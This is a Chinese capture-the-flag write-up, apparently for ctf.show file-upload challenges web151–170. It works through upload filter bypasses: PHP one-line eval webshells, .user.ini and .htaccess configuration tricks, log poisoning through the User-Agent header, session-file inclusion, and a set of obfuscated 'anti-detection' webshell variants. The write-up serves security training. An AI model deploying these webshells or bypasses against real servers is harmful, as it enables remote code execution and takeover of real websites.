前言:
1.建议先看看“前辈”的文章:Upload Attack Framework
2.博客文章:文件上传思路
贴上该文章的两张导图:
目录:
web151、152——前后端的简单检验
发现只能上传PNG文件,上传一个图片马,用Burp抓包修改文件后缀
1.在upload/xx.php
页面结合一句话木马
2.用蚁剑、菜刀连接
web153——.user.ini配置文件
如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。
本题环境不是Apache,而是nginx。那么我们就可用上传.user.ini
此文件内容是auto_prepend_file = 1.png
这样就使.user.ini
所在目录下的所有PHP文件都包含了1.png
文件内容,那么我们在1.png
中写入PHP一句话木马,不就执行了吗?
1.png的一句话木马:
<?php @eval($_POST[1]);?>
抓包上传.user.ini
文件和1.png
因为知道这两个文件都在/upload
目录下,目录下恰好有index.php
文件,那么此文件就包含了1.png
中的一句话木马。剩下的就是命令执行了…

web154、155——PHP的其他标记写法
经过捣腾发现,php
字符被过滤了。可用不含php字符的php标记
四种PHP标记:
1:XML风格,也是官方推荐的形式
<?php @eval($_POST[1]);?>
2:短标记
<? @eval($_POST[1]);?>
需要开启配置参数short_open_tags=on
<?= @eval($_POST[1]);
自 PHP 5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。
3:ASP风格
<% @eval($_POST[1]); %>
ASP风格标记仅在通过php.ini配置文件中的指令asp_tags打开后才可用。
4:脚本风格
<script language="php">
echo "666";
</script>
PHP 7.0.0以后失效
上传.user.ini
文件,再上传一张图片马,做法类似上题,但是一句话木马不能有php
字眼
web156——{ }代替[ ]
Fuzz测试,发现[
是被过滤的,但是可用{}
代替[]
继续利用.user.ini
文件
一句话木马写:<?=eval($_POST{1});
web157、158、159——各种字符过滤
过滤了[
{
;
想了半天怎么写一句话木马。看了师傅们的WP才发现,直接写命令。wk这惯性思维。。。
继续利用.user.ini
<? system("nl ../f* ")?>
或
<?= `nl ../f*`?>
web160——.user.ini结合日志包含
过滤了反引号,这里要再结合日志包含
包含日志利用条件:
- 对日志文件可读
- 知道日志文件存储目录
1.首先上传.user.ini
2.然后上传1.png
。内容是:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
3.日志包含。在UA头写一句话木马。内容是
<?php @eval($_POST[1]);?>
web161——getimagesize()检验文件幻数
详情看:文件上传漏洞之getimagesize()类型验证
同样涉及到文件内容的检验,不过这次不只是过滤字符,而是检查文件的类型——PNG类型。
PNG的文件头标记:8950 4e47 0d0a 1a0a
(
)
将一句话木马写入PNG文件中,然后日志文件包含
web162、163——session文件包含
.
与flag
被过滤,注意避开这两个的使用
先上传.user.ini
文件
内容是auto_prepend_file=1
再上传1
文件,文件内容是 包含名字为flaag
的session文件
<?=include"/tmp/sess_flaag"?>
到此为止,访问upload/index.php
文件就会访问sess_flaag
的内容
(当然,可以发现1
这个文件只是中间桥梁,你可以直接auto_prepend_file=/tmp/sess_flaag
,这样就直接包含了session文件)
然后就是构造用来产生sess_flaag
文件的POST数据包:
<!DOCTYPE html>
<html>
<body>
<form action="http://474bc699-60dd-4a99-91ef-2808a96c2d4a.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
抓包,修改或添加Cookie,同时在PHP_SESSION_UPLOAD_PROGRESS
下面写入PHP代码
不断发送POST数据包,不断访问/upload
页面
web166——zip文件上传
前端限制上传类型为:zip
自己上传了好多次zip都不成功,看师傅们的解答才发现MIME type要求如下:
Content-Type: application/x-zip-compressed
而自己的压缩包一直是:
Content-Type: application/zip
无奈,用Burp拦截数据包,修改一下MIME type 再放回来。
上传成功提示可下载,打开注意URL变化
然后上传一个有一句话木马的压缩包:
这里为啥直接访问upload/download.php?file=6943ab35cd43100186ebfc5f4069df58.zip
就可执行一句话木马?
因为在后端的download.php代码中包含了我们上传的文件,也就当作PHP代码执行了。当然,这也是后话了…
附上download.php代码:
<?php
error_reporting(0);
$file= $_GET['file'];
if(!isset($file)){
die('鏂囦欢涓嶅瓨鍦�');
}
if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
die('鏂囦欢涓嶅瓨鍦�');
}
if(check($file)){
die('鏂囦欢涓嶅瓨鍦�!');
}else{
include($file); //注意此处!
header('Content-Type:application/x-zip-compressed');
}
function check($str){
$ret = FALSE;
$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
foreach ($arrayName as $key) {
$ret = checkPro($key,$str);
}
return $ret;
}
function checkPro($key,$str){
$len = strlen($key);
$mt = substr($str, 0,$len);
return $len==$mt;
}
web167—— .htaccess
发现对JPG文件没有过滤,兴致冲冲照以前上传.user.ini
的方法做,结果一访问/upload
却找不到文件,说明原来的/upload/index.php
文件没有了,但是注意页面发现服务器是Apache
。
我们可以想到.htaccess
.htaccess和.user.ini配置文件妙用
不依赖于目录下是否有php
文件, 直接将某类型文件解析为php
然后在JPG文件中写入一句话…
web168—— 基础免杀
前端检验PNG
类型,抓包后改为php
类型可以上传
收集了一下师傅们的免杀写法,小弟膜拜一下
<?=`$_REQUEST[1]`;?>
利用反引号执行系统命令
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
<?php $a='syste'.'m';($a)('ls ../');
拼接
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
拼接
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
拼接
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
反转字符
<?php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{
abs})($$pi{
acos});
# get传参 abs=system&acos=ls
数学函数
web169、170—— .user.ini 包含日志
此题一开始看前端代码发现是检查zip文件
但发现上传不上去
看了师傅们的操作才知道,后端原来检查了图片文件
。这操作…
那就抓包后修改为图片的MIME type,就可以上传成功了
后端同时对文件内容进行过滤: <
>
?
空格
$
既然过滤了这么多,文件内容就不写一句话木马了,结合.user.ini
进行日志包含。在UA头写一句话木马
- 上传
.user.ini
,内容包含日志文件
- 需要一个php文件,同时在UA头写一句木马
访问/upload/1.php
输入命令即可